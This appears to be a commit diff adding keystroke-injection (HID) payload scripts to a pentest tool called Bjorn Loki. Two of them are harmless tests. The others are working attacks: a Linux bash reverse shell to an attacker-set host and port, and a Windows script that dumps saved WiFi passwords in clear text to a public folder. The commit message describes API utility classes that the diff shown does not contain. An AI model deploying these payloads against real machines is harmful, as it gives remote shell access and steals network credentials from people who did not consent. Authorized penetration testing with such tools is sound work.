Add Loki and Sentinel utility classes for web API endpoints

- Implemented LokiUtils class with GET and POST endpoints for managing scripts, jobs, and payloads.
- Added SentinelUtils class with GET and POST endpoints for managing events, rules, devices, and notifications.
- Both classes include error handling and JSON response formatting.

loki/payloads/hello_world.js

@@ -0,0 +1,9 @@
+// Hello World — Test payload that types a message in Notepad (Windows)
+layout('us');
+delay(1000);
+press("GUI r");
+delay(500);
+type("notepad\n");
+delay(1000);
+type("Hello from Bjorn Loki!\n");
+type("HID injection is working.\n");

loki/payloads/reverse_shell_linux.js

@@ -0,0 +1,13 @@
+// Reverse Shell (Linux) — Bash reverse TCP. Set LHOST/LPORT before use.
+// WARNING: For authorized penetration testing only.
+var LHOST = "CHANGE_ME";
+var LPORT = "4444";
+
+layout('us');
+delay(1000);
+
+// Open terminal (Ctrl+Alt+T is common on Ubuntu/Debian)
+press("CTRL ALT t");
+delay(1500);
+
+type("bash -i >& /dev/tcp/" + LHOST + "/" + LPORT + " 0>&1\n");

loki/payloads/rickroll.js

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+// Rickroll — Opens browser to a famous URL (harmless test)
+layout('us');
+delay(1000);
+press("GUI r");
+delay(500);
+type("https://www.youtube.com/watch?v=dQw4w9WgXcQ\n");

loki/payloads/wifi_exfil_win.js

@@ -0,0 +1,20 @@
+// WiFi Profile Exfiltration (Windows) — Dumps saved WiFi passwords via netsh
+// WARNING: For authorized penetration testing only.
+layout('us');
+delay(1000);
+
+// Open CMD
+press("GUI r");
+delay(500);
+type("cmd\n");
+delay(1000);
+
+// Export all WiFi profiles with keys to a file
+type("netsh wlan export profile key=clear folder=C:\\Users\\Public\n");
+delay(3000);
+
+// Show WiFi passwords inline
+type("for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr \"Key Content\"\n");
+delay(5000);
+
+console.log("WiFi profiles exported to C:\\Users\\Public");